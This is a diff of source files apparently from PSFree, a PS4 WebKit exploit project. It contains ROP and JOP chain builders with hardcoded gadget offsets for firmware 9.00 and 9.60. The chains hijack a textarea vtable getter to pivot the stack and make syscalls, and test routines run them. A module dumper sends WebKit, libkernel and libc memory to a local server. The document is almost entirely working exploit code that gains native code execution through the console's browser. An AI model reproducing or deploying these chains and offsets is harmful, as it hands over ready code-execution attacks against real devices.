if (!this.is_branch_ctx) {
throw Error('can not end nonbranching chain');
}
const delta = this.branch_position - this.rsp_position;
rw.write64(this.stack, this.delta_slot, new Int(delta));
this._clean_branch_ctx();
}
// clobbers rax, rdi, rsi
push_save() {
if (this.is_saved) {
throw Error('restore first before saving again');
}
this.push_call(this.get_gadget('setjmp'), this.jmp_buf_p);
this.is_saved = true;
}
// Force a push_restore() if at runtime you can ensure the save/restore
// pair line up.
push_restore(is_force=false) {
if (!this.is_saved && !is_force) {
throw Error('save first before restoring');
}
// modify jmp_buf.rsp
this.push_gadget('pop rax; ret');
const rsp_slot = this.position;
// dummy value, overwritten later at the end of push_restore()
this.push_constant(0);
this.push_gadget('pop rdi; ret');
this.push_value(this.jmp_buf_p.add(0x38));
this.push_gadget('mov qword ptr [rdi], rax; ret');
// modify jmp_buf.return_address
this.push_gadget('pop rax; ret');
this.push_value(this.get_gadget('ret'));
this.push_gadget('pop rdi; ret');
this.push_value(this.jmp_buf_p.add(0x80));
this.push_gadget('mov qword ptr [rdi], rax; ret');
this.push_call(this.get_gadget('longjmp'), this.jmp_buf_p);
// Padding as longjmp() pushes the rdi and return address in the
// jmp_buf at the target rsp.
this.push_constant(0);
this.push_constant(0);
const target_rsp = this.stack_addr.add(this.position);
rw.write64(this.stack, rsp_slot, target_rsp);
this.is_saved = false;
}
push_get_retval() {
this.push_gadget('pop rdi; ret');
this.push_value(this.retval_addr);
this.push_gadget('mov qword ptr [rdi], rax; ret');
}
call(...args) {
if (this.position !== 0) {
throw Error('call() needs an empty chain');
}
this.push_call(...args);
this.push_get_retval();
this.push_end();
this.run();
this.clean();
return this.return_value;
}
syscall(...args) {
if (this.position !== 0) {
throw Error('syscall() needs an empty chain');
}
this.push_syscall(...args);
this.push_get_retval();
this.push_end();
this.run();
this.clean();
return this.return_value;
}
}
// Chain for PS4 9.00
class Chain900 extends Chain900Base {
constructor() {
super();
// sizeof JSC:JSObject, the JSCell + the butterfly field
const js_size = 0x10;
// sizeof WebCore::JSHTMLTextAreaElement, subclass of JSObject
const js_ta_size = 0x20;
// start of the array of inline properties (JSValues)
const offset_js_inline_prop = 0x10;
// Sizes may vary between webkit versions so we just assume a size
// that we think is large enough for all of them.
const vtable_size = 0x1000;
const webcore_ta_size = 0x180;
const ta_clone = {};
this.ta_clone = ta_clone;
const clone_p = mem.addrof(ta_clone);
const ta_p = mem.addrof(rop_ta);
for (let i = js_size; i < js_ta_size; i += 8) {
clone_p.write64(i, ta_p.read64(i));
}
const webcore_ta = ta_p.readp(offset_textarea_impl);
const m_wrapped_clone = new Uint8Array(
make_buffer(webcore_ta, webcore_ta_size)
);
this.m_wrapped_clone = m_wrapped_clone;
// Replicate the vtable as much as possible or else the garbage
// collector will crash. It uses functions from the vtable.
//
// There is no need to restore the original vtable pointer later since
// it points to a copy with only offset 0x1c8 changed. The scrollLeft
// getter is not used by the GC.
const vtable_clone = new Uint8Array(
make_buffer(webcore_ta.readp(0), vtable_size)
);
this.vtable_clone = vtable_clone
clone_p.write64(
offset_textarea_impl,
get_view_vector(m_wrapped_clone),
);
rw.write64(m_wrapped_clone, 0, get_view_vector(vtable_clone));
clone_p.write64(0, ta_p.read64(0));
// 0x1b8 is the offset of the scrollLeft getter native function
rw.write64(vtable_clone, 0x1b8, this.get_gadget(jop1));
// for the JOP chain
const rax_ptrs = new Uint8Array(0x100);
const rax_ptrs_p = get_view_vector(rax_ptrs);
this.rax_ptrs = rax_ptrs;
rw.write64(rax_ptrs, 0x28, this.get_gadget(jop2));
rw.write64(rax_ptrs, 0x1c, this.get_gadget(jop3));
rw.write64(rax_ptrs, 0x58, this.get_gadget(jop4));
rw.write64(rax_ptrs, 0x10, this.get_gadget(jop5));
rw.write64(rax_ptrs, 0, this.get_gadget(jop6));
// value to pivot rsp to
rw.write64(rax_ptrs, 0x18, this.stack_addr);
const jop_buffer = new Uint8Array(8);
const jop_buffer_p = get_view_vector(jop_buffer);
this.jop_buffer = jop_buffer;
rw.write64(jop_buffer, 0, rax_ptrs_p);
clone_p.write64(offset_js_inline_prop + 8*2, jop_buffer_p);
}
run() {
this.check_stale();
this.check_is_empty();
this.check_is_branching();
// jump to JOP chain
this.ta_clone.scrollLeft;
}
}
const Chain = Chain900;
function init(Chain) {
[libwebkit_base, libkernel_base, libc_base] = get_bases();
init_gadget_map(gadgets, webkit_gadget_offsets, libwebkit_base);
init_gadget_map(gadgets, libc_gadget_offsets, libc_base);
init_syscall_array(syscall_array, libkernel_base, 300 * KB);
debug_log('syscall_array:');
debug_log(syscall_array);
Chain.init_class(gadgets, syscall_array);
}
function test_rop(Chain) {
const jmp_buf = new Uint8Array(jmp_buf_size);
const jmp_buf_p = get_view_vector(jmp_buf);
init(Chain);
setjmp_addr = gadgets.get('setjmp');
longjmp_addr = gadgets.get('longjmp');
const chain = new Chain();
// Instead of writing to the jmp_buf, set rax here so it will be restored
// as the return value after the longjmp().
chain.push_gadget('pop rax; ret');
chain.push_constant(1);
chain.push_call(setjmp_addr, jmp_buf_p);
chain.start_branch();
debug_log(`if chain addr: ${chain.stack_addr.add(chain.position)}`);
chain.push_call(longjmp_addr, jmp_buf_p);
chain.end_branch();
debug_log(`endif chain addr: ${chain.stack_addr.add(chain.position)}`);
chain.push_end();
// The ROP chain is a noop. If we crashed, then we did something wrong.
alert('chain run');
debug_log('test call setjmp()/longjmp()');
chain.run()
alert('returned successfully');
debug_log('returned successfully');
debug_log('jmp_buf:');
debug_log(jmp_buf);
debug_log(`flag: ${rw.read64(chain.flag, 0)}`);
const state1 = new Uint8Array(8);
debug_log('test if rax == 0');
chain.clean();
chain.push_gadget('pop rsi; ret');
chain.push_value(get_view_vector(state1));
chain.push_save();
chain.push_gadget('pop rax; ret');
chain.push_constant(0);
chain.start_branch();
chain.push_restore();
chain.push_gadget('pop rcx; ret');
chain.push_constant(1);
chain.push_gadget('mov qword ptr [rsi], rcx; ret');
chain.push_end();
chain.end_branch();
chain.push_restore(true);
chain.push_gadget('pop rcx; ret');
chain.push_constant(2);
chain.push_gadget('mov qword ptr [rsi], rcx; ret');
chain.push_end();
chain.run();
debug_log(`state1 must be 1: ${state1}`);
if (state1[0] !== 1) {
die('if branch not taken');
}
const state2 = new Uint8Array(8);
debug_log('test if rax != 0');
chain.clean();
chain.push_gadget('pop rsi; ret');
chain.push_value(get_view_vector(state2));
chain.push_save();
chain.push_gadget('pop rax; ret');
chain.push_constant(1);
chain.start_branch();
chain.push_restore();
chain.push_gadget('pop rcx; ret');
chain.push_constant(1);
chain.push_gadget('mov qword ptr [rsi], rcx; ret');
chain.push_end();
chain.end_branch();
chain.push_restore(true);
chain.push_gadget('pop rcx; ret');
chain.push_constant(2);
chain.push_gadget('mov qword ptr [rsi], rcx; ret');
chain.push_end();
chain.run();
debug_log(`state2 must be 2: ${state2}`);
if (state2[0] !== 2) {
die('if branch taken');
}
debug_log('test syscall getuid()');
chain.clean();
// Set the return value to some random value. If the syscall worked, then
// it will likely change.
const magic = 0x4b435546;
rw.write32(chain._return_value, 0, magic);
const res = chain.syscall('getuid');
debug_log(`return value: ${res}`);
if (res.eq(magic)) {
die('syscall getuid failed');
}
}
test_rop(Chain);
+681
View File
@@ -0,0 +1,681 @@
/* Copyright (C) 2024 anonymous
This file is part of PSFree.
PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
PSFree is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
// by janisslsm (John) and barooney from ps4-dev discord
import * as config from '../config.mjs';
import { Int } from '../module/int64.mjs';
import { debug_log, die } from '../module/utils.mjs';
import { Addr, mem } from '../module/mem.mjs';
import { KB, MB } from '../module/constants.mjs';
import { ChainBase } from '../module/chain.mjs';
import {
make_buffer,
find_base,
get_view_vector,
resolve_import,
init_syscall_array,
} from '../module/memtools.mjs';
import * as rw from '../module/rw.mjs';
import * as o from '../module/offset.mjs';
const origin = window.origin;
const port = '8000';
const url = `${origin}:${port}`;
const syscall_array = [];
const offset_textarea_impl = 0x18;
// WebKit offsets of imported functions
const offset_wk_stack_chk_fail = 0x178;
const offset_wk_memcpy = 0x188;
// libSceLibcInternal offsets
const offset_libc_setjmp = 0x21284;
const offset_libc_longjmp = 0x254DC;
// see the disassembly of setjmp() from the dump of libSceLibcInternal.sprx
//
// int setjmp(jmp_buf)
// noreturn longjmp(jmp_buf)
//
// This version of longjmp() does not take another argument to be used as
// setjmp()'s return value. Offset 0 of the jmp_buf will be the restored
// rax. Change it if you want a specific value from setjmp() after the
// longjmp().
const jmp_buf_size = 0xc8;
let setjmp_addr = null;
let longjmp_addr = null;
// libSceNKWebKit.sprx
let libwebkit_base = null;
// libkernel_web.sprx
let libkernel_base = null;
// libSceLibcInternal.sprx
let libc_base = null;
// Chain implementation based on Chain803. Replaced offsets that changed
// between versions. Replaced gadgets that were missing with new ones that
// won't change the API.
// gadgets for the JOP chain
//
// When the scrollLeft getter native function is called on PS4 9.60, rsi is the
// JS wrapper for the WebCore textarea class.
const jop1 = `
mov rdi, qword ptr [rsi + 0x20]
mov rax, qword ptr [rdi]
call qword ptr [rax + 0x28]
`;
// Since the method of code redirection we used is via redirecting a call to
// jump to our JOP chain, we have the return address of the caller on entry.
//
// jop1 pushed another object (via the call instruction) but we want no extra
// objects between the return address and the rbp that will be pushed by jop3
// later. So we pop the return address pushed by jop1.
//
// This will make pivoting back easy, just "leave; ret".
const jop2 = `
pop rsi
cmc
jmp qword ptr [rax + 0x7c]
`;
// rbp is now pushed, any extra objects pushed by the call instructions can be
// ignored
const jop3 = `
push rbp
mov rbp, rsp
mov rax, qword ptr [rdi]
call qword ptr [rax + 0x58]
`;
const jop4 = `
mov rdx, qword ptr [rax + 0x18]
mov rax, qword ptr [rdi]
call qword ptr [rax + 0x10]
`;
const jop5 = `
push rdx
jmp qword ptr [rax]
`;
const jop6 = 'pop rsp; ret';
// the ps4 firmware is compiled to use rbp as a frame pointer
//
// The JOP chain pushed rbp and moved rsp to rbp before the pivot. The chain
// must save rbp (rsp before the pivot) somewhere if it uses it. The chain must
// restore rbp (if needed) before the epilogue.
//
// The epilogue will move rbp to rsp (restore old rsp) and pop rbp (which we
// pushed earlier before the pivot, thus restoring the old rbp).
//
// leave instruction equivalent:
// mov rsp, rbp
// pop rbp
const rop_epilogue = 'leave; ret';
const push_rdx_jmp = `
push rdx
jmp qword ptr [rax]
`;
const webkit_gadget_offsets = new Map(Object.entries({
'pop rax; ret' : 0x0000000000011c46,
'pop rbx; ret' : 0x0000000000013730,
'pop rcx; ret' : 0x0000000000035a1e,
'pop rdx; ret' : 0x000000000018de52,
'pop rbp; ret' : 0x00000000000000b6,
'pop rsi; ret' : 0x0000000000092a8c,
'pop rdi; ret' : 0x000000000005d19d,
'pop rsp; ret' : 0x00000000000253e0,
'pop r8; ret' : 0x000000000003fe32,
'pop r9; ret' : 0x0000000000aaad51,
'pop r11; ret' : 0x0000000000520109,
'pop r12; ret' : 0x0000000000420ad1,
'pop r13; ret' : 0x00000000018fc4c1,
'pop r14; ret' : 0x000000000028c900,
'pop r15; ret' : 0x00000000001619db,
'ret' : 0x0000000000000032,
'leave; ret' : 0x0000000000056322,
'neg rax; and rax, rcx; ret' : 0x00000000014d2af4,
'adc esi, esi; ret' : 0x00000000004fd968,
'add rax, rdx; ret' : 0x00000000006d1a88,
'add rcx, rsi; and rdx, rcx; or rax, rdx; ret' : 0x00000000008e6b06,
'pop rsi ; cmc ; jmp qword ptr [rax + 0x7c]' : 0x0000000002bf3741,
'mov qword ptr [rdi], rsi; ret' : 0x00000000000b2350,
'mov rax, qword ptr [rax]; ret' : 0x000000000000c671,
'mov qword ptr [rdi], rax; ret' : 0x0000000000010c07,
'mov rdx, rcx; ret' : 0x0000000000b9cb04,
'mov qword ptr [rsi], rcx; ret' : 0x000000000012a5ca,
[push_rdx_jmp] : 0x00000000002b7a9c,
[jop1] : 0x0000000001b0ad6f,
[jop2] : 0x0000000002bf3741,
[jop3] : 0x00000000001a75a0,
[jop4] : 0x000000000035fc94,
[jop5] : 0x00000000002b7a9c,
[jop6] : 0x00000000000253e0,
}));
const libc_gadget_offsets = new Map(Object.entries({
'neg rax; ret' : 0x00000000000d2923,
'mov rdx, rax; xor eax, eax; shl rdx, cl; ret' : 0x00000000000cda59,
'setjmp' : offset_libc_setjmp,
'longjmp' : offset_libc_longjmp,
}));
const gadgets = new Map();
function get_bases() {
const textarea = document.createElement('textarea');
const webcore_textarea = mem.addrof(textarea).readp(offset_textarea_impl);
const textarea_vtable = webcore_textarea.readp(0);
const libwebkit_base = find_base(textarea_vtable, true, true);
const stack_chk_fail_import =
libwebkit_base
.add(offset_wk_stack_chk_fail)
;
const stack_chk_fail_addr = resolve_import(stack_chk_fail_import);
const libkernel_base = find_base(stack_chk_fail_addr, true, true);
const memcpy_import = libwebkit_base.add(offset_wk_memcpy);
const memcpy_addr = resolve_import(memcpy_import);
const libc_base = find_base(memcpy_addr, true, true);
return [
libwebkit_base,
libkernel_base,
libc_base,
];
}
function init_gadget_map(gadget_map, offset_map, base_addr) {
for (const [insn, offset] of offset_map) {
gadget_map.set(insn, base_addr.add(offset));
}
}
class Chain950Base extends ChainBase {
constructor() {
super();
// for conditional jumps
this._clean_branch_ctx();
this.flag = new Uint8Array(8);
this.flag_addr = get_view_vector(this.flag);
this.jmp_target = new Uint8Array(0x100);
rw.write64(this.jmp_target, 0x7c, this.get_gadget(push_rdx_jmp));
rw.write64(this.jmp_target, 0, this.get_gadget('pop rsp; ret'));
// for save/restore
this.is_saved = false;
const jmp_buf_size = 0xc8;
this.jmp_buf = new Uint8Array(jmp_buf_size);
this.jmp_buf_p = get_view_vector(this.jmp_buf);
}
// sequence to pivot back and return
push_end() {
this.push_gadget(rop_epilogue);
}
check_is_branching() {
if (this.is_branch_ctx) {
throw Error('chain is still branching, end it before running');
}
}
push_value(value) {
super.push_value(value);
if (this.is_branch_ctx) {
this.branch_position += 8;
}
}
_clean_branch_ctx() {
this.is_branch_ctx = false;
this.branch_position = null;
this.delta_slot = null;
this.rsp_slot = null;
this.rsp_position = null;
}
clean() {
super.clean();
this._clean_branch_ctx();
this.is_saved = false;
}
// Use start_branch() and end_branch() to delimit a ROP chain that will
// conditionally execute. rax must be set accordingly before the branch.
// rax == 0 means execute the conditional chain.
//
// example that always execute the conditional chain:
// chain.push_gadget('mov rax, 0; ret');
// chain.start_branch();
// chain.push_gadget('pop rbx; ret'); // always executed
// chain.end_branch();
start_branch() {
if (this.is_branch_ctx) {
throw Error('chain already branching, end it first');
}
// clobbers rax, rcx, rdi, rsi
//
// u64 flag = 0 if -rax == 0 else 1
// *flag_addr = flag
this.push_gadget('pop rcx; ret');
this.push_constant(-1);
this.push_gadget('neg rax; ret');
this.push_gadget('pop rsi; ret');
this.push_constant(0);
this.push_gadget('adc esi, esi; ret');
this.push_gadget('pop rdi; ret');
this.push_value(this.flag_addr);
this.push_gadget('mov qword ptr [rdi], rsi; ret');
// clobbers rax, rcx, rdi
//
// rax = *flag_addr
// rcx = delta
// rax = -rax & rcx
// *flag_addr = rax
this.push_gadget('pop rax; ret');
this.push_value(this.flag_addr);
this.push_gadget('mov rax, qword ptr [rax]; ret');
// dummy value, overwritten later by end_branch()
this.push_gadget('pop rcx; ret');
this.delta_slot = this.position;
this.push_constant(0);
this.push_gadget('neg rax; and rax, rcx; ret');
this.push_gadget('pop rdi; ret');
this.push_value(this.flag_addr);
this.push_gadget('mov qword ptr [rdi], rax; ret');
// clobbers rax, rcx, rdx, rsi
//
// rcx = rsp_position
// rsi = rsp
// rcx += rsi
// rdx = rcx
//
// dummy value, overwritten later at the end of start_branch()
this.push_gadget('pop rcx; ret');
this.rsp_slot = this.position;
this.push_constant(0);
this.push_gadget('pop rsi; ret');
this.push_value(this.stack_addr.add(this.position + 8));
// rsp collected here, start counting how much to perturb rsp
this.branch_position = 0;
this.is_branch_ctx = true;
this.push_gadget('add rcx, rsi; and rdx, rcx; or rax, rdx; ret');
this.push_gadget('mov rdx, rcx; ret');
// clobbers rax
//
// rax = *flag_addr
this.push_gadget('pop rax; ret');
this.push_value(this.flag_addr);
this.push_gadget('mov rax, qword ptr [rax]; ret');
// clobbers rax
//
// rax += rdx
// new_rsp = rax
this.push_gadget('add rax, rdx; ret');
// clobbers rdi
//
// for debugging, save new_rsp to flag_addr so we can verify it later
this.push_gadget('pop rdi; ret');
this.push_value(this.flag_addr);
this.push_gadget('mov qword ptr [rdi], rax; ret');
// clobbers rdx, rcx
//
// rdx = rax
this.push_gadget('pop rcx; ret');
this.push_constant(0);
this.push_gadget('mov rdx, rax; xor eax, eax; shl rdx, cl; ret');
// clobbers rax, rdx, rsi, rsp
//
// rsp = rdx
this.push_gadget('pop rax; ret');
this.push_value(get_view_vector(this.jmp_target));
this.push_gadget('pop rsi ; cmc ; jmp qword ptr [rax + 0x7c]');
this.push_constant(0); // padding for the push
this.rsp_position = this.branch_position;
rw.write64(this.stack, this.rsp_slot, new Int(this.rsp_position));
}
end_branch() {
if (!this.is_branch_ctx) {
throw Error('can not end nonbranching chain');
}
const delta = this.branch_position - this.rsp_position;
rw.write64(this.stack, this.delta_slot, new Int(delta));
this._clean_branch_ctx();
}
// clobbers rax, rdi, rsi
push_save() {
if (this.is_saved) {
throw Error('restore first before saving again');
}
this.push_call(this.get_gadget('setjmp'), this.jmp_buf_p);
this.is_saved = true;
}
// Force a push_restore() if at runtime you can ensure the save/restore
// pair line up.
push_restore(is_force=false) {
if (!this.is_saved && !is_force) {
throw Error('save first before restoring');
}
// modify jmp_buf.rsp
this.push_gadget('pop rax; ret');
const rsp_slot = this.position;
// dummy value, overwritten later at the end of push_restore()
this.push_constant(0);
this.push_gadget('pop rdi; ret');
this.push_value(this.jmp_buf_p.add(0x38));
this.push_gadget('mov qword ptr [rdi], rax; ret');
// modify jmp_buf.return_address
this.push_gadget('pop rax; ret');
this.push_value(this.get_gadget('ret'));
this.push_gadget('pop rdi; ret');
this.push_value(this.jmp_buf_p.add(0x80));
this.push_gadget('mov qword ptr [rdi], rax; ret');
this.push_call(this.get_gadget('longjmp'), this.jmp_buf_p);
// Padding as longjmp() pushes the rdi and return address in the
// jmp_buf at the target rsp.
this.push_constant(0);
this.push_constant(0);
const target_rsp = this.stack_addr.add(this.position);
rw.write64(this.stack, rsp_slot, target_rsp);
this.is_saved = false;
}
push_get_retval() {
this.push_gadget('pop rdi; ret');
this.push_value(this.retval_addr);
this.push_gadget('mov qword ptr [rdi], rax; ret');
}
call(...args) {
if (this.position !== 0) {
throw Error('call() needs an empty chain');
}
this.push_call(...args);
this.push_get_retval();
this.push_end();
this.run();
this.clean();
return this.return_value;
}
syscall(...args) {
if (this.position !== 0) {
throw Error('syscall() needs an empty chain');
}
this.push_syscall(...args);
this.push_get_retval();
this.push_end();
this.run();
this.clean();
return this.return_value;
}
}
// Chain for PS4 9.60
class Chain950 extends Chain950Base {
constructor() {
super();
// sizeof JSC:JSObject, the JSCell + the butterfly field
const js_size = 0x10;
// sizeof WebCore::JSHTMLTextAreaElement, subclass of JSObject
const js_ta_size = 0x20;
// start of the array of inline properties (JSValues)
const offset_js_inline_prop = 0x10;
// Sizes may vary between webkit versions so we just assume a size
// that we think is large enough for all of them.
const vtable_size = 0x1000;
const webcore_ta_size = 0x180;
const ta_clone = {};
this.ta_clone = ta_clone;
const clone_p = mem.addrof(ta_clone);
const ta_p = mem.addrof(rop_ta);
for (let i = js_size; i < js_ta_size; i += 8) {
clone_p.write64(i, ta_p.read64(i));
}
const webcore_ta = ta_p.readp(offset_textarea_impl);
const m_wrapped_clone = new Uint8Array(
make_buffer(webcore_ta, webcore_ta_size)
);
this.m_wrapped_clone = m_wrapped_clone;
// Replicate the vtable as much as possible or else the garbage
// collector will crash. It uses functions from the vtable.
//
// There is no need to restore the original vtable pointer later since
// it points to a copy with only offset 0x1c8 changed. The scrollLeft
// getter is not used by the GC.
const vtable_clone = new Uint8Array(
make_buffer(webcore_ta.readp(0), vtable_size)
);
this.vtable_clone = vtable_clone
clone_p.write64(
offset_textarea_impl,
get_view_vector(m_wrapped_clone),
);
rw.write64(m_wrapped_clone, 0, get_view_vector(vtable_clone));
clone_p.write64(0, ta_p.read64(0));
// 0x1b8 is the offset of the scrollLeft getter native function
rw.write64(vtable_clone, 0x1b8, this.get_gadget(jop1));
// for the JOP chain
const rax_ptrs = new Uint8Array(0x100);
const rax_ptrs_p = get_view_vector(rax_ptrs);
this.rax_ptrs = rax_ptrs;
rw.write64(rax_ptrs, 0x28, this.get_gadget(jop2));
rw.write64(rax_ptrs, 0x7c, this.get_gadget(jop3));
rw.write64(rax_ptrs, 0x58, this.get_gadget(jop4));
rw.write64(rax_ptrs, 0x10, this.get_gadget(jop5));
rw.write64(rax_ptrs, 0, this.get_gadget(jop6));
// value to pivot rsp to
rw.write64(rax_ptrs, 0x18, this.stack_addr);
const jop_buffer = new Uint8Array(8);
const jop_buffer_p = get_view_vector(jop_buffer);
this.jop_buffer = jop_buffer;
rw.write64(jop_buffer, 0, rax_ptrs_p);
clone_p.write64(offset_js_inline_prop + 8*2, jop_buffer_p);
}
run() {
this.check_stale();
this.check_is_empty();
this.check_is_branching();
// jump to JOP chain
this.ta_clone.scrollLeft;
}
}
const Chain = Chain950;
function init(Chain) {
[libwebkit_base, libkernel_base, libc_base] = get_bases();
init_gadget_map(gadgets, webkit_gadget_offsets, libwebkit_base);
init_gadget_map(gadgets, libc_gadget_offsets, libc_base);
init_syscall_array(syscall_array, libkernel_base, 300 * KB);
debug_log('syscall_array:');
debug_log(syscall_array);
Chain.init_class(gadgets, syscall_array);
}
function test_rop(Chain) {
const jmp_buf = new Uint8Array(jmp_buf_size);
const jmp_buf_p = get_view_vector(jmp_buf);
init(Chain);
setjmp_addr = gadgets.get('setjmp');
longjmp_addr = gadgets.get('longjmp');
const chain = new Chain();
// Instead of writing to the jmp_buf, set rax here so it will be restored
// as the return value after the longjmp().
chain.push_gadget('pop rax; ret');
chain.push_constant(1);
chain.push_call(setjmp_addr, jmp_buf_p);
chain.start_branch();
debug_log(`if chain addr: ${chain.stack_addr.add(chain.position)}`);
chain.push_call(longjmp_addr, jmp_buf_p);
chain.end_branch();
debug_log(`endif chain addr: ${chain.stack_addr.add(chain.position)}`);
chain.push_end();
// The ROP chain is a noop. If we crashed, then we did something wrong.
alert('chain run');
debug_log('test call setjmp()/longjmp()');
chain.run()
alert('returned successfully');
debug_log('returned successfully');
debug_log('jmp_buf:');
debug_log(jmp_buf);
debug_log(`flag: ${rw.read64(chain.flag, 0)}`);
const state1 = new Uint8Array(8);
debug_log('test if rax == 0');
chain.clean();
chain.push_gadget('pop rsi; ret');
chain.push_value(get_view_vector(state1));
chain.push_save();
chain.push_gadget('pop rax; ret');
chain.push_constant(0);
chain.start_branch();
chain.push_restore();
chain.push_gadget('pop rcx; ret');
chain.push_constant(1);
chain.push_gadget('mov qword ptr [rsi], rcx; ret');
chain.push_end();
chain.end_branch();
chain.push_restore(true);
chain.push_gadget('pop rcx; ret');
chain.push_constant(2);
chain.push_gadget('mov qword ptr [rsi], rcx; ret');
chain.push_end();
chain.run();
debug_log(`state1 must be 1: ${state1}`);
if (state1[0] !== 1) {
die('if branch not taken');
}
const state2 = new Uint8Array(8);
debug_log('test if rax != 0');
chain.clean();
chain.push_gadget('pop rsi; ret');
chain.push_value(get_view_vector(state2));
chain.push_save();
chain.push_gadget('pop rax; ret');
chain.push_constant(1);
chain.start_branch();
chain.push_restore();
chain.push_gadget('pop rcx; ret');
chain.push_constant(1);
chain.push_gadget('mov qword ptr [rsi], rcx; ret');
chain.push_end();
chain.end_branch();
chain.push_restore(true);
chain.push_gadget('pop rcx; ret');
chain.push_constant(2);
chain.push_gadget('mov qword ptr [rsi], rcx; ret');
chain.push_end();
chain.run();
debug_log(`state2 must be 2: ${state2}`);
if (state2[0] !== 2) {
die('if branch taken');
}
debug_log('test syscall getuid()');
chain.clean();
// Set the return value to some random value. If the syscall worked, then
// it will likely change.
const magic = 0x4b435546;
rw.write32(chain._return_value, 0, magic);
const res = chain.syscall('getuid');
debug_log(`return value: ${res}`);
if (res.eq(magic)) {
die('syscall getuid failed');
}
}
test_rop(Chain);
+193
View File
@@ -0,0 +1,193 @@
/* Copyright (C) 2024 anonymous
This file is part of PSFree.
PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
PSFree is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
import * as config from './config.mjs';
import { Int } from './module/int64.mjs';
import { Addr, mem } from './module/mem.mjs';
import { make_buffer, find_base, resolve_import } from './module/memtools.mjs';
import { KB, MB } from './module/constants.mjs';
import {
debug_log,
align,
die,
send,
} from './module/utils.mjs';
import * as rw from './module/rw.mjs';
import * as o from './module/offset.mjs';
const origin = window.origin;
const port = '8000';
const url = `${origin}:${port}`;
const textarea = document.createElement('textarea');
// JSObject
const js_textarea = mem.addrof(textarea);
// boundaries of the .text + PT_SCE_RELRO portion of a module
function get_boundaries(leak) {
const lib_base = find_base(leak, true, true);
const lib_end = find_base(leak, false, false);
return [lib_base, lib_end]
}
// dump a module's .text and PT_SCE_RELRO segments only
function dump(name, lib_base, lib_end) {
// assumed size < 4GB
const lib_size = lib_end.sub(lib_base).low();
debug_log(`${name} base: ${lib_base}`);
debug_log(`${name} size: ${lib_size}`);
const lib = make_buffer(
lib_base,
lib_size
);
send(
url,
lib,
`${name}.sprx.text_${lib_base}.bin`,
() => debug_log(`${name} sent`)
);
}
// dump for libSceNKWebKit.sprx
function dump_libwebkit() {
let addr = js_textarea;
// WebCore::HTMLTextAreaElement
addr = addr.readp(0x18);
// vtable for WebCore::HTMLTextAreaElement
// in PT_SCE_RELRO segment (p_type = 0x6100_0010)
addr = addr.readp(0);
debug_log(`vtable: ${addr}`);
const vtable = make_buffer(addr, 0x400);
send(url, vtable, `vtable_${addr}.bin`, () => debug_log('vtable sent'));
const [lib_base, lib_end] = get_boundaries(addr);
dump('libSceNKWebKit', lib_base, lib_end);
return lib_base;
}
// dump for libkernel_web.sprx
function dump_libkernel(libwebkit_base) {
const offset = 0x8d8;
const vtable_p = js_textarea.readp(0x18).readp(0);
// __stack_chk_fail
const stack_chk_fail_import = libwebkit_base.add(offset);
const libkernel_leak = resolve_import(stack_chk_fail_import);
debug_log(`__stack_chk_fail import: ${libkernel_leak}`);
const [lib_base, lib_end] = get_boundaries(libkernel_leak);
dump('libkernel_web', lib_base, lib_end);
}
// dump for libSceLibcInternal.sprx
function dump_libc(libwebkit_base) {
const offset = 0x918;
const vtable_p = js_textarea.readp(0x18).readp(0);
// strlen
const strlen_import = libwebkit_base.add(offset);
const libc_leak = resolve_import(strlen_import);
debug_log(`strlen import: ${libc_leak}`);
const [lib_base, lib_end] = get_boundaries(libc_leak);
dump('libSceLibcInternal', lib_base, lib_end);
}
function dump_webkit() {
const libwebkit_base = dump_libwebkit();
dump_libkernel(libwebkit_base);
dump_libc(libwebkit_base);
}
// See globalFuncEval() from
// WebKit/Source/JavaScriptCore/runtime/JSGlobalObjectFunctions.cpp at PS4
// 8.03.
//
// Used to dump the implementation of eval() to figure out the expression
// "execState.argument(0)".
//
// eval()'s native function receives a JSC::ExecState pointer (renamed to
// JSC::CallFrame on webkitgtk 2.34.4). That type has an argument() method
// which takes an index and returns the corresponding JSValue passed to eval(),
// e.g. execState.argument(0) is the first JSValue argument.
//
// execState.argument(0) evaluates to *(&execState + argumentOffset + 0).
// Knowing the argumentOffset is useful for passing data to ROP chains.
// argumentOffset is 0x30 for PS4 8.03.
//
// The PS4 uses the System V ABI. The ExecState pointer is passed to the rdi
// register since it is the first argument. ROP chains can get the JSValue
// passed via *(rdi + 0x30).
//
// For example, the expression "eval(1)" has the JSValue encoding of 1 passed
// to *(rdi + 0x30).
function dump_eval() {
let addr = js_textarea;
// WebCore::HTMLTextAreaElement
addr = addr.readp(0x18);
// vtable for WebCore::HTMLTextAreaElement
// in PT_SCE_RELRO segment (p_type = 0x6100_0010)
addr = addr.readp(0);
const libwebkit_base = find_base(addr, true, true);
const impl = mem.addrof(eval).readp(0x18).readp(0x38);
const offset = impl.sub(libwebkit_base);
send(
url,
make_buffer(impl, 0x800),
`eval_dump_offset_${offset}.bin`,
() => debug_log('sent')
);
}
// Initially we just used the vtable offset from pOOBs4 (0x1c8) and tested if
// it works. It did but let's add this dumper so we can verify it another way.
// See howto_code_exec.txt about code execution via the vtable of a textarea
// element.
function dump_scrollLeft() {
let proto = Object.getPrototypeOf(textarea);
proto = Object.getPrototypeOf(proto);
proto = Object.getPrototypeOf(proto);
const scrollLeft_get =
Object.getOwnPropertyDescriptors(proto).scrollLeft.get
;
// get the JSCustomGetterSetterFunction
const js_func = mem.addrof(scrollLeft_get);
const getterSetter = js_func.readp(0x28);
const getter = getterSetter.readp(8);
const libwebkit_base = find_base(getter, true, true);
const offset = getter.sub(libwebkit_base);
send(
url,
make_buffer(getter, 0x800),
`scrollLeft_getter_dump_offset_${offset}.bin`,
() => debug_log('sent')
);
}
dump_scrollLeft();